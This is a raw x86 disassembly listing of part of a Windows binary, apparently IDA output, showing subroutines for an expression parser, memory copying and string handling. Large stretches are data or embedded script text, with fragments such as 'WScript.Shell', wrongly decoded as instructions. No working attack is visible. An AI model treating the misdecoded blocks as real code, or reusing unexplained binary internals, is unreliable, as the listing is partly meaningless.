ds:20ACA5A0h, al loc_40E7DE: ; CODE XREF: .data:0040E7B5j loope near ptr loc_40E788+3 scasb mov ds:660A0DA8h, eax outsd jb short near ptr loc_40E808+1 sub [esi+61h], dh jb short loc_40E80E push 20h loc_40E7F0: ; CODE XREF: .data:0040E7AFj ; sub_40E771+53j cmp eax, 203B3020h push 20h cmp al, 20h jnb short loc_40E874 insb insb popa bound ebp, [ebp+73h] cmp esp, [eax] push 2Bh sub ebp, [ecx] loc_40E808: ; CODE XREF: sub_40E771+76j and [ebx+0Dh], bh ; END OF FUNCTION CHUNK FOR sub_40E771 ; =============== S U B R O U T I N E ======================================= sub_40E80B proc near ; CODE XREF: sub_40F583+4Ep or cl, [ecx] outsb loc_40E80E: ; CODE XREF: sub_40E771+7Bj popa insd and gs:[ebx], ch cmp eax, 6E6F6320h jnb short near ptr loc_40E888+1 outsb popa outsb jz short loc_40E87A arpl [eax+6Fh], si jnb short near ptr loc_40E843+1 and eax, 6E6F6320h jnb short near ptr loc_40E899+1 outsb popa outsb jz short near ptr loc_40E85D+1 sub_40E80B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E830 proc near ; CODE XREF: .data:0040E7BFj ; sub_40F73C+14Ap insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0E89Eh pop ebp and [ebx], ch and [esi+6Fh], dh ja short loc_40E8A3 insb pop ebx jbe short near ptr loc_40E8AD+5 outsd loc_40E843: ; CODE XREF: sub_40E80B+17j jnb short near ptr sub_40E863+2 and eax, 776F7620h db 65h insb db 2Eh insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0E8BBh pop ebp cmp ecx, ds:7076090Ah outsd jnb short near ptr loc_40E87A+3 loc_40E85D: ; CODE XREF: sub_40E80B+23j sub edi, ds:72657320h sub_40E830 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E863 proc near ; CODE XREF: .data:0040ECD3p ; .data:0040ECF3p ... imul esp, [ecx+6Ch], 6168632Eh jb short near ptr loc_40E8AD+2 outsd db 64h, 65h inc ecx jz short near ptr loc_40E899+1 push 29h sub_40E863 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_40E771 loc_40E874: ; CODE XREF: sub_40E771+88j and [ebx], ch and [ecx], dh cmp [ebx], edi loc_40E87A: ; CODE XREF: sub_40E80B+12j ; sub_40E830+2Bj or eax, 7063090Ah outsd jnb short near ptr loc_40E8A1+1 sub edi, ds:72657320h loc_40E888: ; CODE XREF: sub_40E80B+Dj imul esp, [ecx+6Ch], 6168632Eh jb short loc_40E8D4 outsd db 64h, 65h inc ecx jz short loc_40E8BF push 20h loc_40E899: ; CODE XREF: sub_40E80B+1Ej ; sub_40E863+Dj sub esp, [eax] xor [ecx], ebp and [ebx], ch and [ecx], dh loc_40E8A1: ; CODE XREF: sub_40E771+10Fj xor edi, [ebx] loc_40E8A3: ; CODE XREF: sub_40E830+Cj or eax, 0A0D7D0Ah or eax, 202F2F0Ah ; CODE XREF: sub_40E771+152j loc_40E8AD: ; CODE XREF: sub_40E863+7j ; sub_40E771+157j ... test [esi-545D5F5Fh], ch out dx, eax movsd lodsb and [edx-1F5051E0h], ah movsd movsb movsd loc_40E8BF: ; CODE XREF: sub_40E771+124j stosd icebp lodsd lodsd jmp short near ptr loc_40E8A8+2 ; --------------------------------------------------------------------------- loc_40E8C5: ; CODE XREF: sub_40E771+164j and cl, ah stosd jecxz short near ptr loc_40E8AD+4 mov al, ds:0E120E5EFh scasb ; END OF FUNCTION CHUNK FOR sub_40E771 ; --------------------------------------------------------------------------- dd 0E1A0ABA3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40E771 loc_40E8D4: ; CODE XREF: sub_40E771+11Ej lodsd jecxz short loc_40E8C5 and [edx-525155E0h], ah loc_40E8DD: ; CODE XREF: sub_40E771:loc_40E939j movsd out 0Dh, al ; DMA controller, 8237A-5. ; master clear. ; Any OUT clears the ctrlr (must be re-initialized) or ch, [ecx+66h] and [eax], ch jnb short loc_40E94C jb short loc_40E952 popa insb arpl cs:[eax+61h], bp jb short near ptr loc_40E933+1 outsd db 64h, 65h inc ecx jz short near ptr loc_40E91E+1 xor al, 29h and [esi], bh and ds:0A0D2932h, dh or [esi+61h], ebp insd and gs:[ebx], ch cmp eax, 6E6F6320h jnb short loc_40E97E outsb popa outsb jz short loc_40E96F arpl [eax+6Fh], si jnb short loc_40E939 and eax, 6E6F6320h loc_40E91E: ; CODE XREF: sub_40E771+184j jnb short loc_40E98F outsb popa outsb jz short near ptr loc_40E952+1 insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0E993h pop ebp cmp ecx, ds:2F0A0D0Ah das loc_40E933: ; CODE XREF: sub_40E771+17Ej and [edi-1E575060h], al loc_40E939: ; CODE XREF: sub_40E771+1A6j jmp short loc_40E8DD ; END OF FUNCTION CHUNK FOR sub_40E771 ; --------------------------------------------------------------------------- db 0A0h dd 0A820ACA5h, 0E420EFACh, 0A0ABA9A0h, 0A820A220h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40E771 loc_40E94C: ; CODE XREF: sub_40E771+174j lodsd test al, 0E8h stosb jecxz short near ptr loc_40E95E+1 loc_40E952: ; CODE XREF: sub_40E771+176j ; sub_40E771+1B2j or ch, [ecx+6Eh] imul esp, [esi+69h], 572E656Ch jb short near ptr loc_40E9C3+4 loc_40E95E: ; CODE XREF: sub_40E771+1DFj jz short near ptr loc_40E9C3+2 dec esp imul ebp, [esi+65h], 616E2228h insd db 65h cmp eax, 202B2022h loc_40E96F: ; CODE XREF: sub_40E771+1A1j outsb popa insd and gs:[ebx], ch and [edx+65h], dh jz short near ptr loc_40E9D7+4 jb short near ptr loc_40E9E0+3 sub [ecx], ch loc_40E97E: ; CODE XREF: sub_40E771+19Cj and [ebx], ch and [edx], ah db 2Eh, 64h insb insb and ch, [ecx] cmp ecx, ds:2F0A0D0Ah ; END OF FUNCTION CHUNK FOR sub_40E771 ; =============== S U B R O U T I N E ======================================= sub_40E98E proc near ; CODE XREF: .data:0040EE55p ; sub_40F73C+F8p var_14 = dword ptr -14h ; FUNCTION CHUNK AT 0040EA54 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040EA58 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0040EA8B SIZE 0000001C BYTES das loc_40E98F: ; CODE XREF: sub_40E771:loc_40E91Ej and [esi+61h], dh jb short loc_40E9B4 outsd push ebx push 206C6C65h cmp eax, 63535720h jb short loc_40EA0B jo short near ptr loc_40EA17+1 db 2Eh inc ebx jb short loc_40EA0D popa jz short loc_40EA10 dec edi bound ebp, [edx+65h] arpl [eax+ebp+22h], si push edi loc_40E9B4: ; CODE XREF: sub_40E98E+4j push ebx arpl [edx+69h], si jo short near ptr loc_40EA2C+2 db 2Eh push ebx push 226C6C65h sub [ebx], edi loc_40E9C3: ; CODE XREF: sub_40E771:loc_40E95Ej ; sub_40E771+1EBj or eax, 202F2F0Ah outsd push ebx push 2E6C6C65h inc ebx jnz short near ptr loc_40EA42+2 jb short loc_40EA39 outsb jz short near ptr loc_40EA19+2 loc_40E9D7: ; CODE XREF: sub_40E771+207j imul esi, [edx+65h], 726F7463h jns short loc_40EA00 loc_40E9E0: ; CODE XREF: sub_40E771+209j cmp eax, 74654720h push esp push 72615065h outs dx, byte ptr gs:[esi] jz short loc_40EA2A or eax, 202F2F0Ah push edi push ebx arpl [edx+69h], si jo short loc_40EA6F db 2Eh inc ebp arpl [eax+6Fh], bp loc_40EA00: ; CODE XREF: sub_40E98E+50j sub [edi+53h], ch push 2E6C6C65h inc ebx jnz short near ptr loc_40EA7C+1 loc_40EA0B: ; CODE XREF: sub_40E98E+12j jb short near ptr loc_40EA71+1 loc_40EA0D: ; CODE XREF: sub_40E98E+18j outsb jz short loc_40EA54 loc_40EA10: ; CODE XREF: sub_40E98E+1Bj imul esi, [edx+65h], 726F7463h loc_40EA17: ; CODE XREF: sub_40E98E+14j jns short loc_40EA42 loc_40EA19: ; CODE XREF: sub_40E98E+47j cmp ecx, ds:202F2F0Ah db 66h jnb short near ptr loc_40EA90+1 db 2Eh inc ebx jb short loc_40EA8B popa jz short near ptr loc_40EA8D+1 inc esi loc_40EA2A: ; CODE XREF: sub_40E98E+5Fj outsd insb loc_40EA2C: ; CODE XREF: sub_40E98E+2Aj db 64h, 65h jb short loc_40EA58 sub_40E98E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EA30 proc near ; CODE XREF: .data:0040EC85p and ch, [esi] pop esp pop esp popa jnb short loc_40EA98 jnb short loc_40EA9D loc_40EA39: ; CODE XREF: sub_40E98E+44j db 66h and ch, [ecx] loc_40EA3C: ; DATA XREF: .data:off_41618Co ; .data:off_416190o cmp ecx, ds:0FFFC000Ah loc_40EA42: ; CODE XREF: sub_40E98E:loc_40EA17j ; sub_40E98E+42j jmp fword ptr [eax+58h] sub_40EA30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 30h, 0, 10h dd 4415FF50h, 83100030h, 0BD8D0CC4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40E98E loc_40EA54: ; CODE XREF: sub_40E98E+80j add ah, bh ; END OF FUNCTION CHUNK FOR sub_40E98E ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40E98E loc_40EA58: ; CODE XREF: sub_40E98E:loc_40EA2Cj call near ptr loc_40E7CC+2 pop edi leave retn ; END OF FUNCTION CHUNK FOR sub_40E98E ; =============== S U B R O U T I N E ======================================= sub_40EA60 proc near ; CODE XREF: sub_40E98E+111p ; sub_40FBF8+11Fp ... arg_0 = dword ptr 4 test ecx, ecx push esi mov esi, eax mov eax, [esp+4+arg_0] jz short loc_40EA7C test eax, eax jz short loc_40EA7C loc_40EA6F: ; CODE XREF: sub_40E98E+6Bj test esi, esi loc_40EA71: ; CODE XREF: sub_40E98E:loc_40EA0Bj jle short loc_40EA7C loc_40EA73: ; CODE XREF: sub_40EA60+1Aj mov dl, [ecx] mov [eax], dl inc eax inc ecx dec esi jnz short loc_40EA73 loc_40EA7C: ; CODE XREF: sub_40EA60+9j ; sub_40EA60+Dj ... mov eax, [esp+4+arg_0] pop esi retn sub_40EA60 endp ; --------------------------------------------------------------------------- loc_40EA82: ; CODE XREF: sub_40EEDB+170p ; .data:0040FA88p push esi push dword ptr [esp+8] ; --------------------------------------------------------------------------- db 0FFh db 15h, 4, 30h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40E98E loc_40EA8B: ; CODE XREF: sub_40E98E+96j add [eax], dl loc_40EA8D: ; CODE XREF: sub_40E98E+99j mov esi, eax push esi loc_40EA90: ; CODE XREF: sub_40E98E+91j push 40h call dword ptr ds:10003000h loc_40EA98: ; CODE XREF: sub_40EA30+5j mov ecx, [esp+1Ch+var_14] push eax loc_40EA9D: ; CODE XREF: sub_40EA30+7j mov eax, esi call sub_40EA60 pop ecx pop esi retn ; END OF FUNCTION CHUNK FOR sub_40E98E ; =============== S U B R O U T I N E ======================================= sub_40EAA7 proc near ; CODE XREF: .data:0040EBEFp ; .data:0040EC1Ap push edi call sub_40E771 mov edi, eax mov eax, [esi+4] test eax, eax jnz short loc_40EAC4 push 10003074h loc_40EABB: ; CODE XREF: sub_40EAA7+27j push edi call dword ptr ds:1000300Ch jmp short loc_40EAEA ; --------------------------------------------------------------------------- loc_40EAC4: ; CODE XREF: sub_40EAA7+Dj cmp eax, 0FFFFFFFFh jnz short loc_40EAD0 push 1000306Ch jmp short loc_40EABB ; --------------------------------------------------------------------------- loc_40EAD0: ; CODE XREF: sub_40EAA7+20j cmp eax, 1 jnz short loc_40EAEA push dword ptr [esi+1498h] push 10003060h push edi call dword ptr ds:10003044h add esp, 0Ch loc_40EAEA: ; CODE XREF: sub_40EAA7+1Bj ; sub_40EAA7+2Cj mov eax, edi pop edi retn sub_40EAA7 endp ; --------------------------------------------------------------------------- aLdG4@ db '‹D$',8,'£4@',0 dw 8B10h dd 0A3102444h, 10004030h, 0C24448Bh, 2CA35756h, 0E8100040h dd 3CBh, 86F6F08Bh, 810h, 561C7404h, 0FFFF0FE8h, 80E859FFh dd 8BFFFFFFh, 0FCA0E8F8h, 0FF50FFFFh, 300815h, 8330EB10h dd 7400047Eh, 0FF65E823h, 0F88BFFFFh, 0FFFC85E8h, 83D8BFFh dd 50100030h, 86F6D7FFh, 810h, 560C7502h, 7EBD7FFh, 0FECAE856h dd 5F59FFFFh db 5Eh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+0Ch] mov ds:10004034h, eax mov eax, [ebp+14h] mov ds:10004030h, eax mov eax, [ebp+10h] push ebx push edi mov ds:1000402Ch, eax call sub_40EEDB mov ebx, eax cmp dword ptr [ebx+4], 1 jz short loc_40EB9E mov edi, ebx call sub_40F543 loc_40EB9E: ; CODE XREF: .data:0040EB95j push ebx call sub_40F583 pop ecx mov ecx, [ebx+4] cmp ecx, 0FFFFFFFFh jz short loc_40EBDC mov eax, [ebx] sub eax, 0 jz short loc_40EBCE dec eax jz short loc_40EBBD dec eax jz short loc_40EBC5 dec eax jnz short loc_40EBDC loc_40EBBD: ; CODE XREF: .data:0040EBB5j push ebx call sub_40F8AB jmp short loc_40EBD9 ; --------------------------------------------------------------------------- loc_40EBC5: ; CODE XREF: .data:0040EBB8j mov edi, ebx call sub_40FBF8 jmp short loc_40EBDC ; --------------------------------------------------------------------------- loc_40EBCE: ; CODE XREF: .data:0040EBB2j cmp ecx, 1 jnz short loc_40EBDC push ebx call sub_40FB36 loc_40EBD9: ; CODE XREF: .data:0040EBC3j pop ecx mov ebx, eax loc_40EBDC: ; CODE XREF: .data:0040EBABj ; .data:0040EBBBj ... test byte ptr [ebx+810h], 4 push esi jz short loc_40EC04 push ebx call sub_40F73C pop ecx mov esi, ebx call sub_40EAA7 mov edi, eax call near ptr loc_40E7CC+2 push eax call dword ptr ds:10003008h jmp short loc_40EC49 ; --------------------------------------------------------------------------- loc_40EC04: ; CODE XREF: .data:0040EBE4j cmp dword ptr [ebx+4], 0 jz short loc_40EC42 push 8 pop ecx lea esi, [ebx+818h] lea edi, [ebp-20h] rep movsd mov esi, ebx call sub_40EAA7 lea edi, [ebx+818h] push ebx mov [ebx+820h], eax mov dword ptr [edi], 3 call sub_40F73C pop ecx push 8 pop ecx lea esi, [ebp-20h] rep movsd jmp short loc_40EC49 ; --------------------------------------------------------------------------- loc_40EC42: ; CODE XREF: .data:0040EC08j push ebx call sub_40F73C pop ecx loc_40EC49: ; CODE XREF: .data:0040EC02j ; .data:0040EC40j cmp dword ptr [ebx+4], 1 pop esi jz short loc_40EC8B mov ecx, ebx call sub_40F706 test byte ptr [ebx+810h], 40h jz short loc_40EC76 cmp dword ptr [ebx], 1 jnz short loc_40EC76 mov eax, [ebx+808h] test eax, eax jz short loc_40EC76 push eax call dword ptr ds:10003014h loc_40EC76: ; CODE XREF: .data:0040EC5Ej ; .data:0040EC63j ... test byte ptr [ebx+810h], 20h jz short loc_40EC8B push dword ptr ds:10004018h call sub_40EA30 pop ecx loc_40EC8B: ; CODE XREF: .data:0040EC4Ej ; .data:0040EC7Dj test byte ptr [ebx+810h], 2 jnz short loc_40EC9B push ebx call dword ptr ds:10003008h loc_40EC9B: ; CODE XREF: .data:0040EC92j pop edi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8Ch mov eax, [ebp+0Ch] push ebx push esi mov ds:10004034h, eax mov eax, [ebp+14h] xor esi, esi push edi mov ds:10004030h, eax mov [ebp-4], esi call near ptr loc_40E790+1 mov [ebp-0Ch], eax call near ptr loc_40E790+1 push dword ptr [ebp-0Ch] mov [ebp+14h], eax call sub_40E863 pop ecx mov ecx, [ebp+14h] mov edi, eax mov al, [ecx] cmp al, 7Eh mov ebx, edx jz short loc_40ED0A cmp al, 21h jz short loc_40ED0A call near ptr loc_40E790+1 push eax mov [ebp+0Ch], eax call sub_40E863 pop ecx push dword ptr [ebp+0Ch] mov esi, eax mov [ebp-4], edx call dword ptr ds:10003008h mov ecx, [ebp+14h] loc_40ED0A: ; CODE XREF: .data:0040ECE4j ; .data:0040ECE8j mov al, [ecx] mov [ebp+0Fh], al movsx eax, al cmp eax, 2Fh jg loc_40EDBC jz short loc_40ED93 sub eax, 21h jz short loc_40ED84 sub eax, 4 jz short loc_40ED93 dec eax jz short loc_40ED5E sub eax, 4 jz short loc_40ED4E dec eax jz short loc_40ED44 dec eax dec eax jnz loc_40EE4D sub edi, esi sbb ebx, [ebp-4] jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40ED44: ; CODE XREF: .data:0040ED30j add edi, esi adc ebx, [ebp-4] jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40ED4E: ; CODE XREF: .data:0040ED2Dj push dword ptr [ebp-4] push esi push ebx push edi call sub_40FE98 jmp loc_40EE49 ; --------------------------------------------------------------------------- loc_40ED5E: ; CODE XREF: .data:0040ED28j cmp byte ptr [ecx+1], 26h jnz short loc_40ED7A or edi, ebx jz loc_40EE46 or esi, [ebp-4] jz loc_40EE46 jmp loc_40EE23 ; --------------------------------------------------------------------------- loc_40ED7A: ; CODE XREF: .data:0040ED62j and edi, esi and ebx, [ebp-4] jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40ED84: ; CODE XREF: .data:0040ED20j xor eax, eax or edi, ebx jnz loc_40EE48 jmp loc_40EE25 ; --------------------------------------------------------------------------- loc_40ED93: ; CODE XREF: .data:0040ED1Bj ; .data:0040ED25j mov eax, esi or eax, [ebp-4] jnz short loc_40EDA0 xor eax, eax xor edx, edx jmp short loc_40EDAD ; --------------------------------------------------------------------------- loc_40EDA0: ; CODE XREF: .data:0040ED98j push dword ptr [ebp-4] push esi push ebx push edi call sub_40FDB8 mov edi, ecx loc_40EDAD: ; CODE XREF: .data:0040ED9Ej cmp byte ptr [ebp+0Fh], 2Fh jz loc_40EE49 jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40EDBC: ; CODE XREF: .data:0040ED15j sub eax, 3Ch jz short loc_40EE28 dec eax jz short loc_40EE1A dec eax jz short loc_40EDFA sub eax, 20h jz short loc_40EDF3 sub eax, 1Eh jz short loc_40EDDB dec eax dec eax jnz short loc_40EE4D not edi not ebx jmp short loc_40EE4D ; --------------------------------------------------------------------------- loc_40EDDB: ; CODE XREF: .data:0040EDCFj cmp byte ptr [ecx+1], 7Ch jnz short loc_40EDEC or edi, ebx jnz short loc_40EE23 or esi, [ebp-4] jnz short loc_40EE23 jmp short loc_40EE46 ; --------------------------------------------------------------------------- loc_40EDEC: ; CODE XREF: .data:0040EDDFj or edi, esi or ebx, [ebp-4] jmp short loc_40EE4D ; --------------------------------------------------------------------------- loc_40EDF3: ; CODE XREF: .data:0040EDCAj xor edi, esi xor ebx, [ebp-4] jmp short loc_40EE4D ; --------------------------------------------------------------------------- loc_40EDFA: ; CODE XREF: .data:0040EDC5j cmp byte ptr [ecx+1], 3Eh jnz short loc_40EE0D mov eax, edi mov edx, ebx mov ecx, esi call sub_40FEF8 jmp short loc_40EE49 ; --------------------------------------------------------------------------- loc_40EE0D: ; CODE XREF: .data:0040EDFEj cmp ebx, [ebp-4] jl short loc_40EE46 jg short loc_40EE23 cmp edi, esi jbe short loc_40EE46 jmp short loc_40EE23 ; --------------------------------------------------------------------------- loc_40EE1A: ; CODE XREF: .data:0040EDC2j cmp edi, esi jnz short loc_40EE46 cmp ebx, [ebp-4] jnz short loc_40EE46 loc_40EE23: ; CODE XREF: .data:0040ED75j ; .data:0040EDE3j ... xor eax, eax loc_40EE25: ; CODE XREF: .data:0040ED8Ej inc eax jmp short loc_40EE48 ; --------------------------------------------------------------------------- loc_40EE28: ; CODE XREF: .data:0040EDBFj cmp byte ptr [ecx+1], 3Ch jnz short loc_40EE3B mov eax, edi mov edx, ebx mov ecx, esi call sub_40FED8 jmp short loc_40EE49 ; --------------------------------------------------------------------------- loc_40EE3B: ; CODE XREF: .data:0040EE2Cj cmp ebx, [ebp-4] jg short loc_40EE46 jl short loc_40EE23 cmp edi, esi jb short loc_40EE23 loc_40EE46: ; CODE XREF: .data:0040ED66j ; .data:0040ED6Fj ... xor eax, eax loc_40EE48: ; CODE XREF: .data:0040ED88j ; .data:0040EE26j cdq loc_40EE49: ; CODE XREF: .data:0040ED59j ; .data:0040EDB1j ... mov edi, eax mov ebx, edx loc_40EE4D: ; CODE XREF: .data:0040ED34j ; .data:0040ED3Fj ... push ebx push edi lea eax, [ebp-8Ch] call sub_40E98E pop ecx pop ecx lea edi, [ebp-8Ch] call near ptr loc_40E7CC+2 push dword ptr [ebp-0Ch] mov esi, ds:10003008h call esi ; SetErrorMode push dword ptr [ebp+14h] call esi ; SetErrorMode pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 80h inc dword ptr [eax] mov edx, [eax] push esi lea esi, [ebp-80h] loc_40EE8D: ; CODE XREF: .data:0040EEC7j mov cl, [edx] cmp cl, 61h jl short loc_40EE99 cmp cl, 66h jle short loc_40EEC1 loc_40EE99: ; CODE XREF: .data:0040EE92j cmp cl, 41h jl short loc_40EEA3 cmp cl, 46h jle short loc_40EEC1 loc_40EEA3: ; CODE XREF: .data:0040EE9Cj cmp cl, 30h jl short loc_40EEAD cmp cl, 39h jle short loc_40EEC1 loc_40EEAD: ; CODE XREF: .data:0040EEA6j cmp cl, 58h jz short loc_40EEC1 cmp cl, 2Dh jz short loc_40EEC1 cmp cl, 78h jz short loc_40EEC1 cmp cl, 7Ch jnz short loc_40EEC9 loc_40EEC1: ; CODE XREF: .data:0040EE97j ; .data:0040EEA1j ... mov [esi], cl inc esi inc edx mov [eax], edx jmp short loc_40EE8D ; --------------------------------------------------------------------------- loc_40EEC9: ; CODE XREF: .data:0040EEBFj dec dword ptr [eax] lea eax, [ebp-80h] push eax mov byte ptr [esi], 0 call sub_40E863 pop ecx pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EEDB proc near ; CODE XREF: .data:0040EB8Ap var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx xor esi, esi call sub_40E771 mov [ebp+var_14], eax mov [ebp+var_18], eax call sub_40E771 mov [ebp+var_24], eax call near ptr loc_40E790+1 mov [ebp+var_2C], eax mov [ebp+var_8], eax loc_40EF12: ; CODE XREF: sub_40EEDB+21Cj mov eax, [ebp+var_1C] mov edi, [ebp+var_8] mov dl, [edi] mov [ebp+var_28], eax movsx eax, dl mov ecx, eax sub ecx, ebx jz short loc_40EF79 sub ecx, 23h jz short loc_40EF71 sub ecx, 5 jz short loc_40EF5B dec ecx jz short loc_40EF4C sub ecx, 16h jnz loc_40F073 mov [ebp+var_1C], 3 mov [ebp+var_4], 1 jmp short loc_40EF7D ; --------------------------------------------------------------------------- loc_40EF4C: ; CODE XREF: sub_40EEDB+56j mov [ebp+var_1C], 2 loc_40EF53: ; CODE XREF: sub_40EEDB+94j mov [ebp+var_4], ebx mov [ebp+var_10], ebx jmp short loc_40EF7D ; --------------------------------------------------------------------------- loc_40EF5B: ; CODE XREF: sub_40EEDB+53j xor eax, eax cmp [ebp+var_20], 3 mov [ebp+var_1C], 1 setz al inc eax mov [ebp+var_C], eax jmp short loc_40EF53 ; --------------------------------------------------------------------------- loc_40EF71: ; CODE XREF: sub_40EEDB+4Ej mov [ebp+var_1C], ebx mov [ebp+var_20], ebx jmp short loc_40EF7D ; --------------------------------------------------------------------------- loc_40EF79: ; CODE XREF: sub_40EEDB+49j or [ebp+var_1C], 0FFFFFFFFh loc_40EF7D: ; CODE XREF: sub_40EEDB+6Fj ; sub_40EEDB+7Ej ... mov eax, [ebp+var_28] sub eax, ebx jz short loc_40EF99 dec eax jnz loc_40F065 mov eax, [ebp+var_C] mov [esi+814h], eax jmp loc_40F065 ; --------------------------------------------------------------------------- loc_40EF99: ; CODE XREF: sub_40EEDB+A7j cmp esi, ebx mov eax, [ebp+var_18] mov byte ptr [eax], 0 jnz short loc_40EFBE push 14A4h push 40h call dword ptr ds:10003000h mov esi, eax mov [esi+810h], ebx mov [esi+814h], ebx loc_40EFBE: ; CODE XREF: sub_40EEDB+C6j mov ecx, [ebp+var_20] lea eax, [esi+8] lea edi, [esi+408h] mov [esi], ecx sub ecx, ebx mov byte ptr [eax], 0 mov byte ptr [edi], 0 mov [esi+808h], ebx mov [esi+80Ch], ebx mov [esi+4], ebx jz short loc_40F004 dec ecx jz short loc_40EFEE dec ecx jz short loc_40EFF8 dec ecx jnz short loc_40F065 loc_40EFEE: ; CODE XREF: sub_40EEDB+10Bj push [ebp+var_24] push eax call dword ptr ds:1000300Ch loc_40EFF8: ; CODE XREF: sub_40EEDB+10Ej push [ebp+var_14] push edi call dword ptr ds:1000300Ch jmp short loc_40F065 ; --------------------------------------------------------------------------- loc_40F004: ; CODE XREF: sub_40EEDB+108j mov eax, [ebp+var_14] cmp [ebp+var_18], eax jz short loc_40F065 push esi xor edi, edi call dword ptr ds:10003008h push [ebp+var_14] call sub_40E863 mov esi, eax cmp esi, ebx pop ecx jz short loc_40F065 loc_40F024: ; CODE XREF: sub_40EEDB+159j mov eax, [esi+14A0h] cmp eax, ebx jz short loc_40F036 mov edi, esi mov esi, eax cmp esi, ebx jnz short loc_40F024 loc_40F036: ; CODE XREF: sub_40EEDB+151j cmp edi, ebx jz short loc_40F040 mov [edi+14A0h], ebx loc_40F040: ; CODE XREF: sub_40EEDB+15Dj mov eax, [esi+810h] test al, 8 jz short loc_40F05C push esi call loc_40EA82 mov esi, eax and dword ptr [esi+810h], 0FFFFFFF5h pop ecx jmp short loc_40F065 ; --------------------------------------------------------------------------- loc_40F05C: ; CODE XREF: sub_40EEDB+16Dj or eax, 2 mov [esi+810h], eax loc_40F065: ; CODE XREF: sub_40EEDB+AAj ; sub_40EEDB+B9j ... mov eax, [ebp+var_14] inc [ebp+var_8] mov [ebp+var_18], eax jmp loc_40F0F3 ; --------------------------------------------------------------------------- loc_40F073: ; CODE XREF: sub_40EEDB+5Bj mov ecx, [ebp+var_1C] sub ecx, ebx jz loc_40F373 dec ecx jz loc_40F1A3 dec ecx jz loc_40F1A0 dec ecx jnz loc_40F3E2 sub eax, 21h jz short loc_40F0E1 sub eax, 42h jz short loc_40F0DC dec eax dec eax jz short loc_40F0C2 sub eax, 9 jz short loc_40F0BE sub eax, 4 jz short loc_40F0BA dec eax jz short loc_40F0B6 dec eax dec eax jnz short loc_40F0E4 push 40h jmp short loc_40F0C4 ; --------------------------------------------------------------------------- loc_40F0B6: ; CODE XREF: sub_40EEDB+1D1j push 10h jmp short loc_40F0C4 ; --------------------------------------------------------------------------- loc_40F0BA: ; CODE XREF: sub_40EEDB+1CEj push 4 jmp short loc_40F0C4 ; --------------------------------------------------------------------------- loc_40F0BE: ; CODE XREF: sub_40EEDB+1C9j push 8 jmp short loc_40F0C4 ; --------------------------------------------------------------------------- loc_40F0C2: ; CODE XREF: sub_40EEDB+1C4j push 20h loc_40F0C4: ; CODE XREF: sub_40EEDB+1D9j ; sub_40EEDB+1DDj ... pop eax loc_40F0C5: ; CODE XREF: sub_40EEDB+204j xor ecx, ecx inc ecx cmp [ebp+var_4], ecx jnz loc_40F190 or [esi+810h], eax jmp loc_40F198 ; --------------------------------------------------------------------------- loc_40F0DC: ; CODE XREF: sub_40EEDB+1C0j xor eax, eax inc eax jmp short loc_40F0C5 ; --------------------------------------------------------------------------- loc_40F0E1: ; CODE XREF: sub_40EEDB+1BBj neg [ebp+var_4] loc_40F0E4: ; CODE XREF: sub_40EEDB+1D5j ; sub_40EEDB+2C0j ... mov eax, [ebp+var_14] mov edi, [ebp+var_8] mov [ebp+var_18], eax xor ebx, ebx loc_40F0EF: ; CODE XREF: sub_40EEDB+50Fj inc edi mov [ebp+var_8], edi loc_40F0F3: ; CODE XREF: sub_40EEDB+193j cmp [ebp+var_1C], 0FFFFFFFFh jnz loc_40EF12 push [ebp+var_2C] mov edi, ds:10003008h call edi ; lstrcat push [ebp+var_14] call edi ; lstrcat push [ebp+var_24] call edi ; lstrcat cmp [esi+80Ch], ebx jnz loc_40F48A mov eax, [esi] dec eax jz loc_40F40D dec eax jz loc_40F3EF dec eax jnz loc_40F48A lea ebx, [esi+8] push ebx call sub_40E863 mov edi, eax test edi, edi pop ecx mov [esi+808h], edi jz loc_40F486 and dword ptr [esi+850h], 0 push ebx call sub_40E780 and dword ptr [esi+83Ch], 0 mov [esi+84Ch], eax xor eax, eax inc eax mov [esi+848h], eax mov [esi+838h], eax lea eax, [esi+408h] push eax call sub_40E863 pop ecx pop ecx mov ecx, [edi] mov eax, [ecx+eax*4] jmp loc_40F405 ; --------------------------------------------------------------------------- loc_40F190: ; CODE XREF: sub_40EEDB+1F0j not eax and [esi+810h], eax loc_40F198: ; CODE XREF: sub_40EEDB+1FCj mov [ebp+var_4], ecx jmp loc_40F0E4 ; --------------------------------------------------------------------------- loc_40F1A0: ; CODE XREF: sub_40EEDB+1ABj mov [ebp+var_C], ebx loc_40F1A3: ; CODE XREF: sub_40EEDB+1A4j add eax, 0FFFFFFDEh xor ebx, ebx cmp eax, 55h ja 